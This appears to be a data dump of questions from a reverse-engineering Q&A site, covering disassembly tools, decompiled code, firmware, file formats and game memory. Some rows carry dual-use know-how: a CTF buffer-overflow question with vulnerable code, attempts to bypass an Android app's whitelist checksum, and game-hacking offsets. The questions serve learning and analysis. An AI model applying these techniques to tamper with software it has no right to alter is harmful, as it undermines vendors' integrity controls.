+When the turn comes to that line, this memory address DOSBox.exe+210BF4 becomes holder to the target value and then the ECX register takes that value from it. +I am sure that the target value comes from this address but I don't know how can I get the value from that strange address. Is there a solution? +" +"['decryption', 'wireshark']"," Title: Decrypt AES-256-GCM TLS 1.2 encrypted packets, I have the key but I don't have the IV can I still decrypt?Body: Can I decrypt AES-256-GCM TLS 1.2 encrypted packets, I have the key but I don't have the IV can I still decrypt? I am getting these packets from wireshark. I know that the IV might be at the front of the encrypted text and its size is probably 12 bytes but I don't know how to get it from the encrypted text. +" +['function-hooking']," Title: Adding a hook to the end of a functionBody: I have a (so-called) function with multiple entry points but only one ret. +I am trying to understand how to add a hook to the function. +The main problem I'm facing is the code that is placed right after this function - it can be executed at any time so I need to make sure that it won't crash the program. +My idea was to replace the ret instruction with a nop instruction, and then jump to my hook. At this point I'll check whether the return address matches a call to the said function, or to the function that occurs after the ret. +I am not satisfied with this because I can't be sure that the code after ret is the prologue of a function - it may be any code, and I have no idea how the stack will look at this point - meaning that maybe the data that was pushed into it matches a call to the function I am trying to hook. +Does anyone here have a better idea? +Edit: Forgot to mention that I can't add more than 2 jumps. +" +['radare2']," Title: what is the difference between pd $s and pdf @@f in Radare2Body: I've tried searching around on how to disassemble a whole binary. I found that pd $s and pdf @@f are the 2 commands suggested most widely. I could understand the working of the latter, but I don't see how the former works. +Description (from p?) of pd - "disassemble N opcodes"
+Description (from ?$?) of $s - "file size" +Therefore, what is the difference between pd $s and pdf @@f? Which command to use to disassemble the whole file? +" +"['c', 'buffer-overflow']"," Title: Using a buffer overflow to call a functionBody: I'm new to reverse engineering C binaries but have been working on an old ctf and thought to ask for explanation of specific assembly commands and how a buffer overflow might force a function to be called. +I have taken apart a binary using ghidra and IDA. Its a pretty standard C program with a main() function and methods: +
int main(void)
+
+{
+  body();
+  return 0;
+}
+
+void body(void)
+
+{
+  char buffer [500];
+  int size;
+  
+  /* gather input and print to the console */
+  size = read(0,buffer,700);
+  printf("\nUser provided %d bytes. Buffer content is: %s\n",size,buffer);
+  return;
+}
+
+(Note functions listed are reconstructed from assembly code and therefore may not be exactly correct.) It was at this point that I considered a buffer overflow must be the target of the attack. +Further searching the program found this function, which I concluded I wanted to call: +
void success(void)
+
+{
+  system("cat file_you_cant_access.txt");
+  return;
+}
+
+This function is never called but it clearly is the answer to the challenge. So my question is how I can modify the main/body to call this side function. +Unfortunately I don't really understand assembly code so haven't been able to make sense of where addresses are stored and functions are called. Potentially here are some lines that could be significant (they are the lines in the helper method): +
/* gather input and print to the console */                     
+08048491 55              PUSH       EBP
+08048492 89 e5           MOV        EBP,ESP
+08048494 81 ec 18        SUB        ESP,0x218
+         02 00 00
+0804849a c7 44 24        MOV        dword ptr [ESP + local_214],0x2bc
+         08 bc 02 
+         00 00
+080484a2 8d 85 00        LEA        EAX=>local_204,[EBP + 0xfffffe00]
+         fe ff ff
+080484a8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX
+080484ac c7 04 24        MOV        dword ptr [ESP]=>local_21c,0x0
+         00 00 00 00
+080484b3 e8 78 fe        CALL       read                                             ssize_t read(int __fd, void * __
+         ff ff
+080484b8 89 45 f4        MOV        dword ptr [EBP + local_10],EAX
+080484bb 8d 85 00        LEA        EAX=>local_204,[EBP + 0xfffffe00]
+         fe ff ff
+080484c1 89 44 24 08     MOV        dword ptr [ESP + local_214],EAX
+080484c5 8b 45 f4        MOV        EAX,dword ptr [EBP + local_10]
+080484c8 89 44 24 04     MOV        dword ptr [ESP + local_218],EAX
+080484cc c7 04 24        MOV        dword ptr [ESP]=>local_21c,s__User_provided_%d   = "\nUser provided %d bytes. Buf
+         a0 85 04 08
+
+The issue is that it appears to not be possible to overflow the buffer into anything meaningful. If the answer isn't obvious, perhaps you can walk me through what approach you would take? +" +['api']," Title: Understanding the leap of logic in ""Secrets of Reverse Engineering""Body: In Chapter 5 of the book "Secrets of Reverse Engineering" (by Eldad Eilam), the author goes about reversing an undocumented "table" API functions in the NTDLL library. The logic behind his reasoning in one particular function bothers me. Here is the relevant portions of the function: +
RtlGetElementGenericTable:
+7C9624E0        PUSH EBP
+7C9624E1        MOV EBP, ESP
+7C9624E3        MOV ECX, DWORD PTR [EBP+8]
+7C9624E6        MOV EDX, DWORD PTR [ECX+14]
+7C9624E9        MOV EAX, DWORD PTR [ECX+C]
+7C9624EC        PUSH EBX
+7C9624ED        PUSH ESI
+7C9624EE        MOV ESI, DWORD PTR [ECX+10]
+7C9624F1        PUSH EDI
+7C9624F2        MOV EDI, DWORD PTR [EBP+C]
+7C9624F5        CMP EDI, -1
+7C9624F8        LEA EBX, DWORD PTR [EDI+1]
+7C9624F8        JE SHORT 7C962559
+7C9624FD        CMP EBX, EDX
+7C9624FF        JA SHORT 7C962559
+....
+7C962554        ADD EAX, 0C
+7C962557        JMP SHORT 7C96255B
+7C962559        XOR EAX, EAX
+7C96255B        POP EDI
+7C96255C        POP ESI
+7C96255D        POP EBX
+7C96255E        POP EBP
+7C96255F        RET 8
+
+From some other "table" functions, he surmises that the structure of the table must look like this: +
struct Table {
+    unknown_ptr    member1;    // This is non-zero when table has elements
+    unknown_ptr    member2;
+    unknown_ptr    member3;
+    unknown_ptr    member4;
+    unknown        member5;
+    ulong          numberOfElements;
+    unknown        member7;
+    unknown        member8;
+    unknown        member9;
+    unknown        member10;
+};
+
+Looking at the last 10 lines before the big jump (so from 7C9624EC to 7C9624FF), he comes up with the following conclusion: +
+Recall that EDX was loaded from offset +14 in the structure, and that +this is the member that stores the total number of elements in the +table. This indicates that the second parameter passed to +RtlGetElementGenericTable is an index into the table. These last two +instructions simply confirm that it is a valid index by comparing it +against the total number of elements. This also sheds some light on +why the index was incremented. It was done in order to properly +compare the two, because the index is probably zero-based, and the +total element count is certainly not. +
+It is this conclusion that I fail to understand, this leap of logic. I fail to see how the second argument is an index into the table. All I can see is that the final two lines of the code chunk translate into if (arg2+1 > numberOfElements) { return 0; } . Looking at it backwards it makes sense (i.e. a confirmation of the conclusion), but looking at it forwards makes no sense to me (i.e. from premise to conclusion). How was simply that conditional on line 7C9624FF indicate that the second argument must be an index and not something else? In other words, how did the author piece the evidence together into a logical high-level conclusion? +" +"['assembly', 'decompilation']"," Title: Is decompilation significantly more limited when performed on handwritten assembly?Body: I understand C language decompilers are designed to decompile code produced by a C compiler, and that such decompilers have a lot of limitations and sometimes are actually wrong (in the sense that they produce C code that is not functionally equivalent to the assembly code they are generated from, though I don't understand why they would produce code that was not functionally equivalent). +Does decompilation not really work if you are starting from hand-written assembly? I'm not talking heavily-optimized or obfuscated assembly; I can understand those might break decompilation in some way. +" +"['binary-analysis', 'file-format', 'crc', 'binary-diagnosis', 'unknown-data']"," Title: Reverse engineering Roland TR-8S kit file format .t8kBody: I'm trying to figure out the file format that the Roland TR-8S drum machine uses for importing/exporting drum kits. My goal is to replace the sample (PCM) data within a kit. It's a proprietary binary format and files have the extension .t8k. Here's what I have figured out so far: +The format consists of multiple sections that start with a four character magic code each (NAME, TONE, WAVE, SMPL etc.). I'm focusing on the SMPL section first. Here is an example: +
00000868  53 4d 50 4c 00 00 02 00  cd cd e8 7e 3c db dc dd  |SMPL.......~<...|
+00000878  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+*
+00020878  53 4d 50 4c 00 00 02 00  cd cd e8 7e 3c db dc dd  |SMPL.......~<...|
+
+After the 4 byte magic code there is a 32bit value (0x20000) that indicates the length of the PCM data which starts at 0x878. The PCM data is all zeros in this example. If the original sample data is shorter than 0x20000 it will get padded with zeros. +The next four bytes (cd cd e8 7e) is a CRC32 of the whole PCM data (0x20000 zeros in the example). +The four bytes after the CRC32 (3c db dc dd) are unknown. They change whenever the whole zero padded block of PCM data changes. Like the CRC32, they do not change if only the number of zero padding bytes changes, and they do not seem to be affected by factors outside of the SMPL block. If the values of these bytes are incorrect, importing the kit into the drum machine fails with a generic error message. +I have tried CRC RevEng but it did not find an algorithm. Also, it seems unlikely that the unknown bytes are an additional CRC. +What might be the purpose of these four unknown bytes? Is there a method that can help me find out? +" +"['ida', 'idapro-sdk', 'local-variables']"," Title: Getting all instances of Local type in IdaBody: I create a local type in Ida and put in some places this local type. +How can I got all the references to dhat Local type? +" +"['ghidra', 'python']"," Title: Sharing variable between scriptsBody: I wrote some Python scripts to help me disassemble one given file (only one), and I'd like to share some variables between differents scripts (or between 2 different executions of the same script). +Is there a way to do that with Ghidra, better than save shared variables in a temp file ? +" +"['ida', 'decompilation', 'arm', 'hexrays']"," Title: Understanding Hex-Rays syntaxBody: I have a Ida decompiled function that invokes another function through a function pointer but I'm really confused how it calculates it's address. I'm new to hex-rays syntax. +
int __fastcall SUB_XXXX(int a1)
+{
+  int result; // r0
+  int (__fastcall *v3)(int); // r2
+ 
+  result = 0;
+  if ( *off_BD2561B0 )
+  {
+    v3 = *(int (__fastcall **)(int))(*off_BD2561B0 + 36);// off_BD2561B0 DCD dword_BD277D84
+    if ( v3 )
+      result = v3(a1);
+  }
+  return result;
+}
+
+So, +v3 = dword_BD277D84 + 0x24 = 0xBD277DA8 +Or +v3 = ValueAt(dword_BD277D84) + 0x24 ? +I'm kinda confused with off_* and dword_* thing. +" +"['disassembly', 'memory']"," Title: How to jump to a new empty memory that related to the program to write another code there?Body: I have a line of code like that ex:MOV EAX, 100, I want to write a little bigger code instead of that code but I can't, so I want to write a jump instruction ex:jmp 0x123456 that jumps to another empty memory that related to my program to write the new code there. +How do I know/reserve an empty memory that related to my program to write the new code? +" +"['ida', 'idapro-sdk']"," Title: 32 bit vs 64 bit IDA ProBody: I am confused on the differences between using 64 bit and 32 bit IDA versions on a 32 bit application. +If I use 64 bit IDA on the 32 bit application, will it make use of 64 bit or 32 bit architecture? +" +"['android', 'java', 'apk']"," Title: Checksum verification of an apk does not the same as my java programBody: I'm from the sysadmin side of the IT and have not much experience in programing. +I have an app that lets me screen share Android apps on my car's display. +Sadly there is a whitelist baked into the app, which prevents other apps (e.g. NewPipe) from running. +I tought I would try reversing it. The modification of the whitelist is easy (.json) but there is some checksuming of the whitelist involved. +I did a decompilation with jadx-gui and backsmali, tried to modify the smali code and recompile it again. +I did not know what exactly to change in the smali code, because I am not really familiar with it. +The method was try and error, but I always got errors. +So I thought I could alter the checksum for my modifyed whitelist, but that also did not work as intended. +I have extracted the code to run locally but the hash of the original file does not match the one, compiled into the apk and I'm not shure why +This is the jadx-gui reversed code snipped (exceptions removed): +
    private boolean j() {
+    InputStream inputStream = null;
+    try {
+        if (!"whitelist/whitelist".equals("whitelist/whitelist")) {
+            throw new IllegalArgumentException("the whitelist path has to be \"whitelist/whitelist\", to access the dexguard encrypted file.");
+        }
+        InputStream open = this.b.getAssets().open("whitelist/whitelist");
+        byte[] bArr = new byte[ACRAConstants.DEFAULT_BUFFER_SIZE_IN_BYTES];
+        MessageDigest instance = MessageDigest.getInstance("SHA-256");
+        while (true) {
+            int read = open.read(bArr);
+            if (read <= 0) {
+                break;
+            }
+            instance.update(bArr, 0, read);
+        }
+        if (!String.format("%64s", new BigInteger(1, instance.digest()).toString(16)).replace(' ', '0').equals(this.b.getString(o.h.whitelist_checksum))) {
+            Log.e("MS-LL:LiveServiceFact.", "Invalid whitelist!");
+            if (open != null) {
+                try {
+                    open.close();
+                } catch (IOException e2) {
+                }
+            }
+            return false;
+        } else if (open == null) {
+            return true;
+        } else {
+            try {
+                open.close();
+                return true;
+            } catch (IOException e3) {
+                return true;
+            }
+        }
+
+The ACRAConstants.DEFAULT_BUFFER_SIZE_IN_BYTES is 8192 and the o.h.whitelist_checksum is 2131689879, which is not a SHA-256 string.
+My checksum checker looks like this: +
import java.io.File;
+import java.io.IOException;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.math.BigInteger;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+class checksum {
+
+public static void main(String[] args) {
+    try {
+        InputStream inputStream = null;
+        File file = new File("whitelist");
+        int DEFAULT_BUFFER_SIZE_IN_BYTES = 8192;
+        int whitelist_checksum = 2131689879;
+
+        if (!"whitelist/whitelist".equals("whitelist/whitelist")) {
+            throw new IllegalArgumentException("the whitelist path has to be \"whitelist/whitelist\", to access the dexguard encrypted file.");
+        }
+        InputStream open = new FileInputStream(file);
+        byte[] bArr = new byte[DEFAULT_BUFFER_SIZE_IN_BYTES];
+        MessageDigest instance = MessageDigest.getInstance("SHA-256");
+        while (true) {
+            int read = open.read(bArr);
+            if (read <= 0) {
+                break;
+            }
+            instance.update(bArr, 0, read);
+        }
+        System.out.println(String.format("%64s", new BigInteger(1, instance.digest()).toString(16)).replace(' ', '0'));
+        if (!String.format("%64s", new BigInteger(1, instance.digest()).toString(16)).replace(' ', '0').equals(Integer.toString(whitelist_checksum))) {
+            System.out.println("Invalid whitelist!");
+        } else {
+            System.out.println("correct whitelist!");
+        }
+    }
+    catch (FileNotFoundException ex){System.out.println("File not found");}
+    catch (NoSuchAlgorithmException ex){System.out.println("Algorythm not found");}
+    catch (IOException ex){System.out.println("IOException");}
+}
+}
+
+But gives me d9821f5190db1b21aabc58da45a802b529148bb8a952760c0ca4a6330817f174 as checksum of the extracted whitelist and not 2131689879. +Where am I missing something? +Thanks in advance, Simon +" +"['ida', 'disassembly', 'radare2', 'disassemblers', 'functions']"," Title: Function Arguments/Name on Radare and IDABody: I am starting with reverse engineering and Radare and I'm facing the following problem, on IDA Free I see the following code: +
mov     ecx, 11h
+lea     edi, [esp+1208h+StartupInfo]
+rep stosd
+lea     eax, [esp+1208h+ProcessInformation]
+lea     ecx, [esp+1208h+StartupInfo]
+push    eax             ; lpProcessInformation
+push    ecx             ; lpStartupInfo
+push    0               ; lpCurrentDirectory
+push    0               ; lpEnvironment
+push    8000000h        ; dwCreationFlags
+push    1               ; bInheritHandles
+push    0               ; lpThreadAttributes
+lea     edx, [esp+1224h+CommandLine]
+push    0               ; lpProcessAttributes
+push    edx             ; lpCommandLine
+push    0               ; lpApplicationName
+mov     [esp+1230h+StartupInfo.cb], 44h ; 'D'
+call    ebx ; CreateProcessA
+jmp     loc_100010E9
+
+However, when I use Radare I can't see the pushed arguments of the function called with ebx (on IDA I can see that it is CreateProcessA, but on Radare it is not displayed): +
│ ╎╎│││││   0x10001179      b911000000     mov ecx, 0x11               ; 17
+│ ╎╎│││││   0x1000117e      8d7c2434       lea edi, [var_44h]
+│ ╎╎│││││   0x10001182      f3ab           rep stosd dword es:[edi], eax
+│ ╎╎│││││   0x10001184      8d442424       lea eax, [var_54h]
+│ ╎╎│││││   0x10001188      8d4c2434       lea ecx, [var_44h]
+│ ╎╎│││││   0x1000118c      50             push eax
+│ ╎╎│││││   0x1000118d      51             push ecx
+│ ╎╎│││││   0x1000118e      6a00           push 0
+│ ╎╎│││││   0x10001190      6a00           push 0
+│ ╎╎│││││   0x10001192      6800000008     push 0x8000000
+│ ╎╎│││││   0x10001197      6a01           push 1                      ; 1
+│ ╎╎│││││   0x10001199      6a00           push 0
+│ ╎╎│││││   0x1000119b      8d9424290200.  lea edx, [arg_195h]
+│ ╎╎│││││   0x100011a2      6a00           push 0
+│ ╎╎│││││   0x100011a4      52             push edx
+│ ╎╎│││││   0x100011a5      6a00           push 0
+│ ╎╎│││││   0x100011a7      c744245c4400.  mov dword [var_44h], 0x44   ; eflags
+│ ╎╎│││││                                                              ; [0x44:4]=-1
+│ ╎╎│││││   0x100011af      ffd3           call ebx
+│ └───────< 0x100011b1      e933ffffff     jmp 0x100010e9
+
+I've tried Googling it but haven't found any solution to this. Am I missing some configuration or Radare practice that would display the argument and function names? +Edit: In case anyone wants to recreate it, I am trying to analize Lab7-03.dll from Practical Malware Analysis book, which labs can be found in the github: +https://github.com/mikesiko/PracticalMalwareAnalysis-Labs +Thanks in advance! =) +" +['assembly']," Title: Reversing bit rotationsBody: so I have a question regarding the assembly instructions ror and rol:
+Is it possible to properly reverse them? +So assuming I have something like +
ROR        EDX, 0x4
+
+and know the contents of EDX after this instruction, is it mathematically possible to find out the initial value of EDX? If so, can anyone explain to me how it's done?
+Sadly I couldn't find any good answer to this so far, so I would be really happy if someone could help me with this :) +" +"['firmware', 'firmware-analysis', 'binwalk']"," Title: Firmware RE (Beginner)Body: I'm trying to learn RE, and I thought I'd look at some firmware that interests me. I'm looking at the Roland TD-11 drum module firmware, which is available for download from the Roland website +I found a few guides to get me started, and most seem to recommend binwalk. Unfortunately, binwalk doesn't seem to return anything when I run it against the firmware file. I ran the entropy analysis, and from what I've been reading, the firmware doesn't seem to be encrypted.
+ +Running strings, I can find strings in the firmware image as well. And binwalk -Y returned: +
1189309       0x1225BD        ARM executable code, 16-bit (Thumb), little endian, at least 779 valid instructions
+
+I'm also looking at Ghidra, but I'm not sure where to start. Should I try to unravel some of the instructions in Ghidra? I don't think Ghidra is identifying the functions properly. Is there a way to identify the entry point of the firmware program? What are some avenues I should explore to get a starting point in analyzing this firmware? +" +"['encryption', 'apk']"," Title: Decrypting .PNG files from Chinese mobile gameBody: Amateur here. +I'm working on decrypting a couple of .PNG files extracted from an .apk of a Chinese One-Punch Man mobile game. They're identified as .PNGs by Windows, but can't be opened by any software. HxD shows me that they have no .PNG IDs such as "IHDR" or "IDAT", so I assume they're pretty encrypted (or they're not even PNGs???). Each one says "SSKOSISNIUBILITY" at the top, not sure what it means. +
+53 53 4B 4F 53 49 53 4E 49 55 42 49 4C 49 54 59 +
+
+18 1C 18 1C 1C 1C 01 00 06 06 0B 13 09 02 11 00 +
+I've tried a couple BMS scripts with quickBMS to no avail. Since the game is made by FingerFun I tried using a BMS script for one of their other games (KOF'98 UM OL) to no avail. Looks like I need to figure out what kind of encryption it is before I start throwing things to see what sticks. +Here's a few example files: +https://www.dropbox.com/s/imy674lcnzqcl9s/135.zip?dl=0 +Any help would be appreciated. I'm pretty amateur when it comes to decryption, so just a BMS script or a name for the encryption style would suffice. +" +"['hardware', 'usb']"," Title: How should I go about reversing this USB crypto dongle?Body: I have some kind of authentication token device delivered by a bank (that I do not expect to use for its initially-intended purpose any more). I’d like to learn how it works and whether I can recycle it for some other purpose. +On the outside, it’s a pretty simple device, resembling a USB flash memory stick. On the opposite side of the USB plug, there is a button and some LEDs. When I plug it in, the LEDs flash green, and the device reports a VID:PID pair of 0483:a188 and a description claiming it’s a ‘[software company] Smart Token ECC’. +I don’t have any software that supports this device, and don’t really know where to look for it. No luck with OpenSC: it doesn’t recognise the device at all. In fact, the token doesn’t even use the ‘smartcard’ USB device class; instead, it presents itself as a HID device. The report descriptor looks pretty strange: +
00000000: 06ff ff09 01a1 0109 0209 0385 0115 0026  ...............&
+00000010: ff00 7508 9508 8102 0904 0905 8501 1500  ..u.............
+00000020: 26ff 0075 0895 0891 0209 0a09 0b85 0415  &..u............
+00000030: 0026 ff00 7508 95fe b102 090c 090d 8505  .&..u...........
+00000040: 1500 2609 0075 0895 08b1 0209 0609 0785  ..&..u..........
+00000050: 0815 0026 4000 7508 9540 b102 0906 0907  ...&@.u..@......
+00000060: 8509 1500 26ff 0075 0895 feb1 02c0       ....&..u......
+
+Dumping the above reveals that this device should support exchanging reports with ID 1 on the normal channel and report IDs 4, 5, 8 and 9 on the ‘feature’ (configuration) channel. But it doesn’t agree with how the device actually works: I cannot communicate with the device other than through feature reports 4, 5 and 9, and the reports don’t even follow the format specified in the descriptor (feature report 5 should carry 8 decimal digits, one per byte, but actually carries 254 bytes). When the token receives a report it doesn’t like, it provides no answer at all and times out instead of returning an error response. Feature report 9 is read-only and provides, among other things, some kind of identification string naming the device(?) as a ‘[software company] ECC Token HW Button’. Meanwhile, pressing the button produces no effect. +I don’t know where to go from here. What else can I try? +(I fear this kind of question may be too open-ended or too narrow-scoped for the Stack Exchange Q&A format, but maybe it’s worth a shot.) +" +['ollydbg']," Title: Changing a label's text on windowBody: I'm using OllyDbg v2 for debugging. Target is a simple executable file with few labels. It has been written in C++ builder. Looks like labels are located dynamically, so I can't get its text using OllyDbg, let alone changing the text. What should I do? +" +"['memory', 'game-hacking', 'cheat-engine']"," Title: How can I get the correct offset from that instruction?Body: I have the following instructions: + +The registers' values in the First instruction are: +
    +
  • RAX=0000000033307EE0
  • +
  • RCX=0000000000000000
  • +
+The registers' values in the Second instruction are: +
    +
  • RAX=0000000033307EE0
  • +
  • RCX=00000000377F1FD0
  • +
+What I did is: +The first instruction offset is [rax + rcx*8] = RCX(00000000) * 8 = 8
+So, the final result is Address(33307EE0) + Offset(8). +And the second instruction offset is [rax + rcx*8] = RCX(377F1FD0) * 8 = BBF8FE80
+So, the final result is Address(33307EE0) + Offset(BBF8FE80). +Are those results true? because I found the address is correct but the offset is still wrong. +" +"['ida', 'decompile']"," Title: Decompiling dll file to extract a function (subroutine)Body: I have a university project, and my professor gave me a DLL file which I need to extract a subroutine from, and it is not clearly defined as a subroutine. The purpose is to translate the code to C++ or C. +I opened the code with IDA Pro and searched for the name acalcul: +
CODE:00470C9C aCalcul:                                ; DATA XREF: CODE:00470C0F↑o
+CODE:00470C9C                 text "UTF-16LE", 'calcul',0
+CODE:00470CAA                 align 4
+CODE:00470CAC
+CODE:00470CAC loc_470CAC:                             ; CODE XREF: CODE:0047094C↑j
+CODE:00470CAC                 push    ebp
+CODE:00470CAD                 mov     ebp, esp
+CODE:00470CAF                 push    ebx
+CODE:00470CB0                 push    esi
+CODE:00470CB1                 push    edi
+CODE:00470CB2                 push    dword ptr [ebp+8]
+CODE:00470CB5                 xor     eax, eax
+CODE:00470CB7                 push    ebp
+CODE:00470CB8                 push    offset loc_470CDC
+CODE:00470CBD                 push    dword ptr fs:[eax]
+CODE:00470CC0                 mov     fs:[eax], esp
+CODE:00470CC3                 mov     eax, ds:off_474634
+CODE:00470CC8                 mov     eax, [eax]
+CODE:00470CCA                 mov     edx, [ebp+0Ch]
+CODE:00470CCD                 mov     [edx], eax
+CODE:00470CCF                 xor     eax, eax
+CODE:00470CD1                 pop     edx
+CODE:00470CD2                 pop     ecx
+CODE:00470CD3                 pop     ecx
+CODE:00470CD4                 mov     fs:[eax], edx
+CODE:00470CD7                 pop     eax
+CODE:00470CD8                 xor     ebx, ebx
+CODE:00470CDA                 jmp     short loc_470CE1
+CODE:00470CDC ; ---------------------------------------------------------------------------
+CODE:00470CDC
+CODE:00470CDC loc_470CDC:                             ; DATA XREF: CODE:00470CB8↑o
+CODE:00470CDC                 jmp     @System@@HandleAutoException$qqrv ; System::__linkproc__ HandleAutoException(void)
+CODE:00470CE1 ; ---------------------------------------------------------------------------
+CODE:00470CE1
+CODE:00470CE1 loc_470CE1:                             ; CODE XREF: CODE:00470CDA↑j
+CODE:00470CE1                 mov     eax, ebx
+CODE:00470CE3                 pop     edi
+CODE:00470CE4                 pop     esi
+CODE:00470CE5                 pop     ebx
+CODE:00470CE6                 pop     ebp
+CODE:00470CE7                 retn    8
+CODE:00470CE7 ; ---------------------------------------------------------------------------
+CODE:00470CEA                 align 4
+CODE:00470CEC ; [00000057 BYTES: COLLAPSED FUNCTION Mtsrdm::TMtsDataModule::AS_GetProviderNames(System::OleVariant &). PRESS CTRL-NUMPAD+ TO EXPAND]
+CODE:00470D43                 align 4
+CODE:00470D44
+
+I need to discover the inputs and the algorithm to do my project. +Now My Question is how can I extract a function by knowing its behaviour in IDA Pro with existing code? +Edit1: What I show from the code is an example, and I do not really know which part of code is really responsible for the functionality I am assuming. +Edit2:https://www.delicad.com/dl/FlashPolygons_32bits_en.zip +The link gives the whole dll which I want to find the part which draws a line using two points. +" +"['decompress', 'ios', 'macos']"," Title: Attempting to understand non-XZ file signatures within PBZX chunksBody: After my previous question from nearly a year ago directing me to the YAA format to make sense of the chunks that could be decompressed, this time we're dealing with the chunks that made pbzx tell us that we're dealing with non-xz chunks. +I've tried to slowly rewrite Jonathan Levin's first pbzx extractor in Rust, the code I've written so far just reads out the flag of the file and each chunk's flag, length and signature (which for the most part should be the XZ header magic). +
use std::io::{self, BufReader, Read, Seek, SeekFrom};
+use std::fs::File;
+use std::path::Path;
+use binread::{BinRead, BinReaderExt};
+
+#[derive(Debug, BinRead)]
+pub struct block {
+    flg: u64,
+    len: i64,
+    sig: u64
+}
+
+#[derive(Debug, BinRead)]
+#[br(magic = b"pbzx")]
+pub struct pbzx  {
+    flag0: u64,
+    chunk: block
+}
+
+fn main() -> io::Result<()>  {
+    // Read file
+    let file = File::open("payload.008")?;
+    let mut reader = BufReader::new(file);
+    // Apply it
+    let header: pbzx = reader.read_be().unwrap();
+    println!(" {:#04x}", header.flag0);
+    // Zeroth block
+    println!(" {:#04x}, {}, {:#04x}", header.chunk.flg, header.chunk.len, header.chunk.sig);
+    reader.seek(SeekFrom::Current(header.chunk.len-8)).expect("Could not get current position!");
+    // All the other blocks
+    while (true) {  //
+                    // I should actually be using "chunk.flg & ((1 << 24) | (1 << 23)) != 0" but I don't know
+                    // where that's come from
+                    // How does someone exactly calculate these bitshifts?
+                    //
+        let chunk: block = reader.read_be().unwrap();
+        println!(" {:#04x}, {}, {:#04x}", chunk.flg, chunk.len, chunk.sig);
+        reader.seek(SeekFrom::Current(chunk.len-8)).expect("Could not get current position!");
+    }
+
+    Ok(())
+}
+
+Running it makes it behave as expected, showing us a majority of chunks being XZ but some others, especially at the beginning, show non-repeating values that don't seem to make much sense. +
kitty@kitty ~/Projects/pbzx                      
+> $ ./target/debug/pbzx             
+ 0x800000
+ 0x800000, 8386152, 0xfd377a585a000000
+ 0x800000, 8388608, 0xf5278dda2c95573c
+ 0x800000, 8387764, 0xfd377a585a000000
+ 0x800000, 8388608, 0x7ec3ca75b21ecca8
+ 0x800000, 8377552, 0xfd377a585a000000
+ 0x800000, 8387576, 0xfd377a585a000000
+ 0x800000, 8388608, 0x2cb02061c42ec23b
+ 0x800000, 8388608, 0x94f8a22d86b5b145
+ 0x800000, 8388608, 0x7cf626aff7e56be6
+ 0x800000, 8388608, 0xd053c8e78ee64674
+ 0x800000, 8388608, 0xafac0d53e933e247
+ 0x800000, 8388608, 0xcc6c78f45ab958a5
+ 0x800000, 5815664, 0xfd377a585a000000
+ 0x800000, 3505580, 0xfd377a585a000000 
+ _____________repeating_______________
+ 0x800000, 4876720, 0xfd377a585a000000
+ 0x800000, 4761144, 0xfd377a585a000000
+ 0x800000, 4905372, 0xfd377a585a000000
+ _____________repeating_______________
+ 0x51e0b5, 4568784, 0xfd377a585a000000
+thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: Io(Custom { kind: UnexpectedEof, error: "Out of bytes in reader" })', src/main.rs:35:45
+note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
+
+Searching for them in Hex Fiend, they are confirmed to be non-repeating, adjacent to a valid chunk (see YZ end signature) and don't match any known signatures. I tried converting between endians and got nothing, just in case. + + +I can go out on a limb and say they're encrypted but that begs the question but then that begs the question, how do I confirm that it is encrypted before exploring that path? +Pudquick's version, modified with the new flag, goes ahead and treats it like a decompressed cpio chunk but gives me some valid chunks and some chunks containing unknown or no data, Levin's updated version, which I used about a year ago skipped those chunks altogether +
-rw-r--r--  1 kitty  staff  388745580 May 12 19:10 payload.008
+-rw-r--r--  1 kitty  staff    8386152 Jun 21 02:30 payload.008.part00.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part01.cpio
+-rw-r--r--  1 kitty  staff    8387764 Jun 21 02:30 payload.008.part02.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part03.cpio
+-rw-r--r--  1 kitty  staff   16765128 Jun 21 02:30 payload.008.part04.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part05.cpio
+-rw-r--r--  1 kitty  staff          0 Jun 21 02:30 payload.008.part06.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part07.cpio
+-rw-r--r--  1 kitty  staff          0 Jun 21 02:30 payload.008.part08.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part09.cpio
+-rw-r--r--  1 kitty  staff          0 Jun 21 02:30 payload.008.part10.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part11.cpio
+-rw-r--r--  1 kitty  staff          0 Jun 21 02:30 payload.008.part12.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part13.cpio
+-rw-r--r--  1 kitty  staff          0 Jun 21 02:30 payload.008.part14.cpio.xz
+-rw-r--r--  1 kitty  staff    8388608 Jun 21 02:30 payload.008.part15.cpio
+-rw-r--r--  1 kitty  staff  288096620 Jun 21 02:30 payload.008.part16.cpio.xz
+
+
    +
  • How do you tell that a chunk of data is encrypted? +
  • +
  • How did the original PBZX decompression tools figure out the binary operations to be performed on a flag to signal the archive's end? I couldn't figure out the relationship between 0x51e0b5 and 0x800000 +If it was just a matter of comparing the flag, then wouldn't a while (flag == 0x800000) be enough, why bother with those values in the first place? +
  • +
  • What would be a good next step in understanding what those magic values mean? +
  • +
